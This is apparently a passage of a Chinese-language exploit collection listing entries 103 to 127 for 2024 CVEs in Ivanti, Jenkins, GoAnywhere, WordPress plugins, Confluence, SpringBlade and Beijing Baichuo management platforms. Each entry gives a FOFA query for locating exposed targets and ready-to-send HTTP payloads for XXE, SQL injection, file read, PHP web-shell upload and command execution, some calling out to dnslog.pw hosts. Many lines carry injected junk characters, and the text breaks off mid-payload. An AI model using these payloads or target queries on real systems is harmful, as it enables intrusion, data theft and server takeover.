7 I: M, h7 @4 l; Z<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
  R0 o1 F3 p3 u/ {- p' Y8 V2 ePOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
* k1 b' }) y/ C! C+ ?: |8 \Connection: close
Content-Length: 204
) I6 x" T) P9 M4 i6 I, OContent-Type: application/x-www-form-urlencoded
1 r3 B# k/ C- h9 T+ P" G; CAccept-Encoding: gzip

1 f& A4 b. V# ~SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
* P* k9 a, g; L6 ]) [
' {9 T4 k' F5 y( y% Z' Q' D3 g
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
* ?4 h. {( y4 p' k7 l
9 A$ u# {! `: O4 r
* g1 L& z0 @! j& }4 \1 X104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
9 T% [9 y' e0 f7 aFOFA：title="TOTOLINK"
0 h. ^4 E9 E8 }9 z& o0 |1 X9 h4 C! XPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
6 e9 D: K  D" ^; h8 uContent-Length:41
& O1 u5 m* x+ C) }& HAccept:application/json,text/javascript，*/*;q=0.01
0 u9 S; X( g" B) n2 z9 vX-Requested-with: XMLHttpRequest
# m$ \4 S, f3 w, [# N8 J& j# w$ IUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
  A5 U1 U! t8 iContent-Type: application/x-www-form-urlencoded:charset=UTF-8
# o# x/ v( _9 S5 H$ k  z8 ]Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
7 X" [4 x7 J4 m8 C/ @/ R; MAccept-Encoding:gzip,deflate
' o. Q+ _6 G% C- F9 wAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
. ]5 J" `) h( B! B" ^Connection:close

* h+ h! [/ V4 Y4 E$ T7 I, l{
: G' b% `5 R& I! v( b8 {* a"topicurl":"getSysStatusCfg",
0 u7 l( f! }* i& r" \% t"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
  O, J/ q* C: f" \' Q3 z+ Y% cFOFA：body="https://bladex.vip"
) ^3 D8 n) C3 e+ s4 @http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
- I$ N3 k+ a+ B; m/ Q/ L- {: k
# O# X. R5 e# j1 s) m3 y( C  z6 e106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
) F+ }: B  J; V+ Z& a' kGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) f2 O5 ]3 T* g3 M4 O& _- {Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
( l* U  m9 l9 ]5 d- ~, GAccept-Encoding: gzip, deflate
! r) b1 ?% e' [- v! C6 OAccept-Language: zh-CN,zh;q=0.9
Connection: close
; S0 J! p6 l9 d  A! h$ U. j

5 o: M( i; o5 Q- G, Z107. SpringBlade tenant/list SQL 注入
6 x$ p( ]; @  f! EFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ J) X  G9 z2 `; z3 l  V4 fHost: your-ip
) y. _3 ?3 x" |8 m$ c: J$ ^4 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
8 L1 D; l( A) {# S2 LConnection: close
: v& n* ~- m: Z% u2 c0 J& h
. X. {4 Q# w5 g( F  B4 C$ z
- T4 W3 T' w6 o% j7 Z108. D-Tale 3.9.0 SSRF
9 t0 P. i) ]- x# X2 r1 QCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
! L: ~! A# s7 l4 j. S; ?5 N* X1 \* q! cAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
. U2 }, ?: X( l' Q5 v, O, ]+ wAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
, U7 Z1 Y5 `& o. H; v2 h& B
, D6 e' }) l; b; V6 W7 H
109. Jenkins CLI 任意文件读取
6 K5 U. n. A0 t: g8 oCVE-2024-23897
FOFA：header="X-Jenkins"
$ t8 i" k: p: ]! B! N" CPOST /cli?remoting=false HTTP/1.1
% ^5 n" X0 l" @* m4 o" eHost:
Content-type: application/octet-stream
. X1 X2 V, v5 v8 Y* N* @& XSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
+ N9 {3 {- y% A7 [1 A' jConnection: keep-alive
' w! V0 J- z$ W% \1 D7 gContent-Length: 163

+ M7 }  n& g8 V! j" V. x- Eb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

& z7 G. Y1 u4 g& U
( E3 p9 g8 l/ A9 NPOST /cli?remoting=false HTTP/1.1
Host:
$ u& c9 U: v" S7 oSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
% m; G0 K; t% z" T- H: @0 _, r4 n( DContent-Length: 0

% M' J( o; N# d0 j- n- r) `7 {. q& a
& }$ l# i, O. b; j* dERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
3 n1 \/ D* j* f! m[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
5 X3 {8 s3 Y6 H) C7 g# _. e0 R* sCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
' L4 |9 F4 U9 k! M7 e6 h) wGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
+ V  }* y. |$ z" O* m, |User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
+ y2 h5 K! z5 ?  _Accept-Encoding: gzip

1 u+ g5 u! t2 d" |* s
+ N0 P9 L0 z$ t; D, T111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
; [3 c. O' C  Y9 p( FHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
. A3 \5 j" I5 X$ hConnection: close
. Q) R) ~7 S6 t4 q! hAccept: */*
Accept-Language: en
Accept-Encoding: gzip

/ [; k+ t/ T1 X& f' E8 t; c. H* |
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
% c" ]! P" P0 S9 R+ f& UPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
- Q( ]' i& |8 T4 \8 X
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
1 S( I4 z- x. K) G" y) d9 \CVE-2024-27954
2 Q4 R6 N) c& h/ H, O6 z2 lFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
+ _/ M- r, L3 l/ nHost: x.x.x.x
' A9 g, O+ i8 O. `7 LUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
: ]; {0 p: T6 p" gAccept-Language: en
- M8 ^, w  Q8 w" Q# EAccept-Encoding: gzip
, i& _) W! U0 S* P( d3 ~
# Y  f) K5 Z/ V. L" e8 F
9 T4 ~0 N& |0 W4 [114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( e5 W  X: L' t: B8 GAccept-Charset: utf-8
7 i0 \# p+ Y5 Z/ C4 s, eAccept-Encoding: gzip, deflate
/ |# f* Y2 ]; _Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
8 R5 |$ n" U8 q3 bGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
- S- e% U3 b+ ~: mAccept-Encoding: gzip
- c- E6 ?5 K# _6 J

第二步替换nonce值，执行命令
& h0 g- b. U  C$ _/ o; K1 Q0 W, f# K9 mPOST /wp-json/bricks/v1/render_element HTTP/1.1
6 T% e  ]6 V2 R! y  ]' O% ?Host: x.x.x.x
9 ^& p5 `3 u! F! A! h+ ^5 J8 k9 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
- Z& |( z$ G7 M1 `Content-Length: 356
7 O- T# q% o4 C3 F$ u+ n; t/ F0 X$ LContent-Type: application/json
Accept-Encoding: gzip

# o. a3 \* Q6 U* N{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
0 |! O& S4 \/ N4 H; S" @    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
1 b+ o3 f4 P3 f4 A9 Z2 x, \        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
6 y" l% W5 R. \2 u9 F7 e    }
  }
}

; Y8 l! E0 ~# s- T
0 Z5 K- l9 B$ U, {9 T2 k116. wordpress js-support-ticket文件上传
7 L% P7 W. L4 G: ]FOFA：body="wp-content/plugins/js-support-ticket"
2 k! z- c3 W# H' E+ }$ z7 hPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
6 @# l4 \7 Z: h# h+ M& I! ^* YHost:
8 P3 ?1 E8 @. U+ Z6 j% dContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

. K  K7 }, ?3 U----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
/ Q( h+ u; d. G0 z' d7 s0 @----------767099171
Content-Disposition: form-data; name="form_request"
+ F; p7 W& U) G0 f* i" Ujssupportticket
----------767099171
- e6 Z/ F( N' F- Q9 qContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
7 o  w5 R+ h  L& m! ?. m
5 v# A: ^9 Z( K! ~7 e0 G: E9 i1 F
117. WordPress LayerSlider插件SQL注入
! R* ^, K6 M" Z" X3 L- dversion：7.9.11 – 7.10.0
( @0 ~7 L: k. d$ XFOFA：body="/wp-content/plugins/LayerSlider/"
; P1 c& e9 K$ p/ A. T! b/ }; R4 `# I% J: GGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! }8 t- T+ s7 N2 [1 D9 ]) Z& ]" oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
6 |3 e( h) r# K3 d) _- W9 b8 }Connection: close
Upgrade-Insecure-Requests: 1

* B/ _( Y  K& @. W/ {, M8 r
, u- E" k) a. R2 n118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
5 e, `& {9 K! AHost: 192.168.40.130:8443
7 o# a: ^, f, j5 k. h2 h" k: _Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
6 v% G6 R" A+ h, x- z. ^) p* SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
. |3 p, p* K. w5 F( T0 ROrigin: https://192.168.40.130:8443
: L& J& c9 [$ W& H0 S  R3 TReferer: https://192.168.40.130:8443/Tool/uploadfile.php
  b3 x; ]% c7 ^4 y, PUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
, ~4 t* o. z2 a% h5 t1 \" RSec-Fetch-User: ?1
Te: trailers
" n0 t% E: i2 a) ^' \Connection: close

-----------------------------13979701222747646634037182887
: Y$ ]5 r% t2 a- S  GContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

$ Y% H4 F( f" K" j5 I<?php
/ R+ j8 _; q2 _; Msystem($_POST["passwd"]);
# Y8 r. U# c& ]" x- K3 x! D1 a7 K- c?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
: X- }  n! \/ P5 m' c" m-----------------------------13979701222747646634037182887--
; v% o7 |* O% u

访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
% \- D# o* U1 P. ?8 p" G. b7 qCVE-2024-1254
9 J, L7 C& l) p( P& X: |; {, ~5 }FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
! E- R! B+ k& Y: b' EPOST /sysmanage/sysmanageajax.php HTTP/1.11
+ S" S3 c+ `  _9 {& P$ w: u. e4 NHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
/ U. H6 @! Z; S: |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
' ]: P6 d* A# ]3 w/ g7 K3 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
- ~# T4 t" `3 F: C1 j$ h5 OSec-Fetch-Dest: empty
& x' ~" @7 z& T6 ]( E/ z+ f+ |Sec-Fetch-Mode: cors
! i  C8 E. _4 U2 u7 q1 f3 a. VSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
1 M1 n5 w7 ?% C* h1 I3 N/ IX-Originating-Ip: 1.1.1.1
2 q) t+ f- O0 [1 ]1 S- RX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
/ i5 Z# \5 e0 k- H8 T  m
" n: D4 i$ k* Nsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


9 h9 D) ^2 f# o( x: o6 [8 t; d120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
  `- x4 Q: Q9 s% k" L; X3 O. EFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
7 ~& G. `& K# l( `1 R1 mHost: ip:port
. G! \- i4 I4 W0 L! Y; XCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
; \. I6 J. a) M0 A5 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- s8 Q4 E8 }2 r4 J! A1 f" iAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
9 P7 ]" q! M1 q4 t4 z! dUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
/ D1 @- B/ s. Y$ `Te: trailers
8 `) g, C6 P: j( j( KConnection: close
$ X4 b! x6 z, {; s. c8 m/ T; _
) S% ]& F- T! |  A7 y-----------------------------42328904123665875270630079328
4 L- G5 G; y  h/ y3 |" |Content-Disposition: form-data; name="file_upload"; filename="2.php"
" X+ B4 j' f3 mContent-Type: application/octet-stream

<?php phpinfo()?>
, n: N- b0 D3 r! r-----------------------------42328904123665875270630079328
8 d5 G6 x$ ^) B6 a! ZContent-Disposition: form-data; name="id_type"

1
. Y8 u! J: h( T/ w-----------------------------42328904123665875270630079328
. S- ]" x2 \, c. g/ {$ j/ P# CContent-Disposition: form-data; name="1_ck"

) |4 ?5 B% \. Q4 W$ M: c1_radhttp
-----------------------------42328904123665875270630079328
3 w& L0 {/ D6 {7 cContent-Disposition: form-data; name="mode"

import
6 X, d* E+ E4 U1 D4 \/ A-----------------------------42328904123665875270630079328

4 G( n0 \7 _, G0 ?8 r
文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
' O0 ~3 r- r! [CVE-2024-1918
% v( a* F5 ~+ I8 W! @FOFA：title="Smart管理平台"
1 m0 E3 r, {/ U0 [# ]) W9 V7 SPOST /useratte/userattestation.php HTTP/1.1
0 i4 S  G6 G  M' n" m8 ^. t+ J. ~* jHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
. O2 {2 C! P$ WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 E1 `9 a& |; a/ c- @" |5 f) SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" [# w4 X# M9 m. ^Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
# \! _; \) T$ g4 L% zUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
4 E& R# M/ x! s5 H! V8 |Sec-Fetch-User: ?1
Te: trailers
5 e1 L8 q2 k" a8 U. NConnection: close

-----------------------------42328904123665875270630079328
' O+ Q) m) s- @* P# D. J; F+ NContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

" E' Y7 P) ?9 O1 v4 K2 X<?php phpinfo();?>
: \, c$ C& {9 S* a) c( g5 @-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
3 _8 t( e2 Q5 f5 d( S& {" R9 w
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

( F! r. K& Z6 @% Y) F5 a) i" T1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

* l7 D/ _) Z. `8 e9 Pset
-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

3 f8 H8 O& n8 h' P1 h122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
1 |- A* A1 Z" i/ q其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
* K- [) B( D2 q# Q0 n3 @9 mGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
5 Z' p: T# M$ k+ eHost: x.x.x.x
: r1 G# |! u; iCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
" Y' n- ~6 a! X& ]# d/ Q7 R' ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
% X  J2 ~" I# g) qSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
0 J# w' |6 H/ \' dSec-Fetch-Site: none
4 H+ k: a, Y/ j8 a$ z& {/ B2 sSec-Fetch-User: ?1
Te: trailers
+ }+ w( P% t$ u4 [- j  \. AConnection: close

8 _5 v+ b7 z) c; q) o3 f+ x
3 Y/ l: u. k6 E123. Atlassian Confluence 模板注入代码执行
! v9 D) Q; k2 W( z) m0 N8 }- KFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
1 M8 R- [0 s+ n3 b7 T/ x% m; IPOST /template/aui/text-inline.vm HTTP/1.1
' r- ]2 L( i# W/ `; K% pHost: localhost:8090
Accept-Encoding: gzip, deflate, br
3 g; j9 i/ n" Z! x. W3 |Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
7 H& Q  x: C" Z' p% Y, g* y) QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
& C1 q+ N4 p' T, D2 h9 [7 x. d
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


$ X0 P: {; x$ l/ N5 D; B124. 湖南建研工程质量检测系统任意文件上传
' C. d; S5 t! H4 k+ cFOFA：body="/Content/Theme/Standard/webSite/login.css"
# r. }& L$ L$ |5 S" P3 Z, ?POST /Scripts/admintool?type=updatefile HTTP/1.1
& n9 V6 F6 V. P* vHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" b5 m" @2 w% ]+ QContent-Length: 72
. ?0 Y! k9 F! ^$ e4 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
. M% N2 P* \" EContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
+ I  I& ]- Q  |6 Y7 D

9 n- U2 [' n2 {4 M$ i8 o5 shttp://192.168.40.130:8282/Scripts/abcgcg.aspx
% d/ }8 U+ B/ `
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
# @6 u( f: g: X1 V) [; N' I0 nhttps://github.com/watchtowrlabs ... bypass-add-user-poc
6 S  M7 W) }" e5 d

使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

  M0 k4 y6 V8 ^% F  b4 ]! t
( d2 \2 ^- n+ \$ ]9 X# Z1 b* ]创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
) b6 s" Z3 `) UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" U& C2 T0 v# f* _' }; pConnection: close
& F/ T: v% ^* r/ u6 eAccept: */*
Accept-Language: en
Accept-Encoding: gzip
% v4 e& w  s+ z) s1 l5 j

127. 广联达Linkworks DataExchange.ashx XXE
. }" q6 {& r+ J$ _  K# E5 \FOFA：body="Services/Identification/login.ashx"
) ]1 h( g* n8 Q+ L1 n/ kPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. _7 q# m- l) V) b2 R% ]! ?6 o2 |Accept-Encoding: gzip, deflate
3 J  c* X2 [2 ]7 j1 rAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
6 k3 K4 s3 ^4 t# C0 `$ P3 JSec-Purpose: prefetch;prerender
& D2 [# w8 K& L3 d$ v
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
' _% `" @3 V% r6 P$ Q: z6 U------WebKitFormBoundaryJGgV5l5ta05yAIe0
- u1 z' T* A6 P5 W3 f- DContent-Disposition: form-data;name="Params"
$ P; d; g9 v, fContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
